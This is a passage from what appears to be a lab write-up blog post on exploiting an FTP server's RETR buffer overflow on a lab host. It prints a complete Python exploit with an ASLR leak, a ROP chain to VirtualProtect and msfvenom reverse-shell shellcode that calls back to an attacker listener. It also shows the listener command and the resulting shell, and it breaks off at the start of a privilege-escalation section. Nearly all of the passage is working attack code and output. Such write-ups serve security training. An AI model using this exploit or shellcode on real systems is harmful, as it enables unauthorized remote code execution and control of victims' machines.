style="color:#393A34">)</span><br></div></code></pre></div></div>
<p>Trigger: FTP treats everything after <code>RETR </code> as the filename → stack overflow → EIP → ROP → <code>VirtualProtect</code> → <code>jmp esp</code> → shellcode → TCP callback to Kali.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-12--run-the-exploit">Phase 12 — Run the exploit<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-12--run-the-exploit" class="hash-link" aria-label="Direct link to Phase 12 — Run the exploit" title="Direct link to Phase 12 — Run the exploit" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="121-terminal-1-kali--listener">12.1 Terminal 1 (Kali) — listener<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#121-terminal-1-kali--listener" class="hash-link" aria-label="Direct link to 12.1 Terminal 1 (Kali) — listener" title="Direct link to 12.1 Terminal 1 (Kali) — listener" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">penelope -p 5555</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="122-terminal-2-kali--exploit">12.2 Terminal 2 (Kali) — exploit<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#122-terminal-2-kali--exploit" class="hash-link" aria-label="Direct link to 12.2 Terminal 2 (Kali) — exploit" title="Direct link to 12.2 Terminal 2 (Kali) — exploit" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">cd ~/aov_lab/Osaka</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">python3 rce.py</span><br></div></code></pre></div></div>
<p>Expected script output:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[*] leak=0x401f0a bin_base=0x400000</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">[*] exploit sent — check nc -lvnp 5555</span><br></div></code></pre></div></div>
<p>Expected Penelope callback:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">[+] [New Reverse Shell] =&gt; OSAKA 192.168.120.20 ... 👤 osaka\wilson</span><br></div></code></pre></div></div>
<p>In the shell:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">C:\dev&gt; whoami</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">osaka\wilson</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="123-full-exploit--rcepy">12.3 Full exploit — <code>rce.py</code><a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#123-full-exploit--rcepy" class="hash-link" aria-label="Direct link to 123-full-exploit--rcepy" title="Direct link to 123-full-exploit--rcepy" translate="no">​</a></h3>
<div class="language-python codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-python codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic">#!/usr/bin/env python</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">from</span><span class="token plain"> pwn </span><span class="token keyword" style="color:#00009f">import</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> remote</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"192.168.120.20"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">21</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvuntil</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"220"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"USER admin"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvuntil</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"331"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"PASS admin"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvuntil</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"230"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.45.182 LPORT=5555 -b "\x00" -f python -v shellcode</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">=</span><span class="token plain">  </span><span class="token string" style="color:#e3116c">b""</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\xba\x63\x7a\xe1\x66\xda\xd6\xd9\x74\x24\xf4"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x5b\x33\xc9\xb1\x52\x31\x53\x12\x03\x53\x12"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x83\xa0\x7e\x03\x93\xda\x97\x41\x5c\x22\x68"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x26\xd4\xc7\x59\x66\x82\x8c\xca\x56\xc0\xc0"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\xe6\x1d\x84\xf0\x7d\x53\x01\xf7\x36\xde\x77"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x36\xc6\x73\x4b\x59\x44\x8e\x98\xb9\x75\x41"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\xed\xb8\xb2\xbc\x1c\xe8\x6b\xca\xb3\x1c\x1f"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x86\x0f\x97\x53\x06\x08\x44\x23\x29\x39\xdb"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x3f\x70\x99\xda\xec\x08\x90\xc4\xf1\x35\x6a"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x7f\xc1\xc2\x6d\xa9\x1b\x2a\xc1\x94\x93\xd9"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x1b\xd1\x14\x02\x6e\x2b\x67\xbf\x69\xe8\x15"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x1b\xff\xea\xbe\xe8\xa7\xd6\x3f\x3c\x31\x9d"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x4c\x89\x35\xf9\x50\x0c\x99\x72\x6c\x85\x1c"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x54\xe4\xdd\x3a\x70\xac\x86\x23\x21\x08\x68"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x5b\x31\xf3\xd5\xf9\x3a\x1e\x01\x70\x61\x77"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\xe6\xb9\x99\x87\x60\xc9\xea\xb5\x2f\x61\x64"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\xf6\xb8\xaf\x73\xf9\x92\x08\xeb\x04\x1d\x69"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x22\xc3\x49\x39\x5c\xe2\xf1\xd2\x9c\x0b\x24"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x74\xcc\xa3\x97\x35\xbc\x03\x48\xde\xd6\x8b"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\xb7\xfe\xd9\x41\xd0\x95\x20\x02\x1f\xc1\x07"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x64\xf7\x10\x57\x9d\xbb\x9c\xb1\xf7\xab\xc8"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x6a\x60\x55\x51\xe0\x11\x9a\x4f\x8d\x12\x10"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x7c\x72\xdc\xd1\x09\x60\x89\x11\x44\xda\x1c"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x2d\x72\x72\xc2\xbc\x19\x82\x8d\xdc\xb5\xd5"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\xda\x13\xcc\xb3\xf6\x0a\x66\xa1\x0a\xca\x41"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x61\xd1\x2f\x4f\x68\x94\x14\x6b\x7a\x60\x94"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x37\x2e\x3c\xc3\xe1\x98\xfa\xbd\x43\x72\x55"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x11\x0a\x12\x20\x59\x8d\x64\x2d\xb4\x7b\x88"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x9c\x61\x3a\xb7\x11\xe6\xca\xc0\x4f\x96\x35"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x1b\xd4\x9b\xae\x3c\x43\x4c\x89\xd7\x29\x11"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x2a\x02\x6d\x2c\xa9\xa6\x0e\xcb\xb1\xc3\x0b"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">shellcode </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x97\x75\x38\x66\x88\x13\x3e\xd5\xa9\x31"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># ASLR leak</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"DEBUG %x"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">line </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">recvline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">timeout</span><span class="token operator" style="color:#393A34">=</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">leak </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token builtin">int</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">line</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">split</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">16</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">bin_base </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> leak </span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0x10f0</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string-interpolation string" style="color:#e3116c">f"leak=</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation builtin">hex</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">(</span><span class="token string-interpolation interpolation">leak</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">)</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c"> bin_base=</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">{</span><span class="token string-interpolation interpolation builtin">hex</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">(</span><span class="token string-interpolation interpolation">bin_base</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">)</span><span class="token string-interpolation interpolation punctuation" style="color:#393A34">}</span><span class="token string-interpolation string" style="color:#e3116c">"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># mona rop chain — offsets from ftp.exe base 0x400000</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">rop </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x1ce98</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x1ce98</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">   </span><span class="token comment" style="color:#999988;font-style:italic"># pop ebp</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x8099</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x201</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">False</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">     </span><span class="token comment" style="color:#999988;font-style:italic"># pop ebx, PAGE_EXECUTE_READWRITE</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x1bde3</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">False</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">      </span><span class="token comment" style="color:#999988;font-style:italic"># pop edx, flProtect</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x10b8e</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x27041</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic"># pop ecx, writable</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x4905</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x4426</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">      </span><span class="token comment" style="color:#999988;font-style:italic"># pop edi, ret (nop)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x2076</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x14adb</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic"># pop esi, jmp [eax]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x1d2bf</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x1e000</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic"># pop eax, VirtualProtect IAT</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x10d6</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">                      </span><span class="token comment" style="color:#999988;font-style:italic"># pushad</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">0x10da</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">True</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">                      </span><span class="token comment" style="color:#999988;font-style:italic"># jmp esp</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">payload </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"A"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">272</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> val</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> add_base </span><span class="token keyword" style="color:#00009f">in</span><span class="token plain"> rop</span><span class="token punctuation" style="color:#393A34">:</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    payload </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> p32</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">val </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> bin_base </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> add_base </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> val</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">payload </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">b"\x90"</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">16</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">payload </span><span class="token operator" style="color:#393A34">+=</span><span class="token plain"> shellcode</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">p</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">sendline</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">b"RETR "</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> payload</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">log</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">info</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"exploit sent — check nc -lvnp 5555"</span><span class="token punctuation" style="color:#393A34">)</span><br></div></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="phase-13--privilege-escalation-wilson--system--local-admin">Phase 13 — Privilege escalation (wilson → SYSTEM → local admin)<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#phase-13--privilege-escalation-wilson--system--local-admin" class="hash-link" aria-label="Direct link to Phase 13 — Privilege escalation (wilson → SYSTEM → local admin)" title="Direct link to Phase 13 — Privilege escalation (wilson → SYSTEM → local admin)" translate="no">​</a></h2>
<p>The reverse shell runs as <strong><code>osaka\wilson</code></strong>, the FTP service account. This is not the end — the account carries a powerful privilege.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="131-check-token-privileges">13.1 Check token privileges<a href="https://blog.artofvector.com/blog/osaka-ftp-buffer-overflow-psgetsys#131-check-token-privileges" class="hash-link" aria-label="Direct link to 13.1 Check token privileges" title="Direct link to 13.1 Check token privileges" translate="no">​</a></h3>
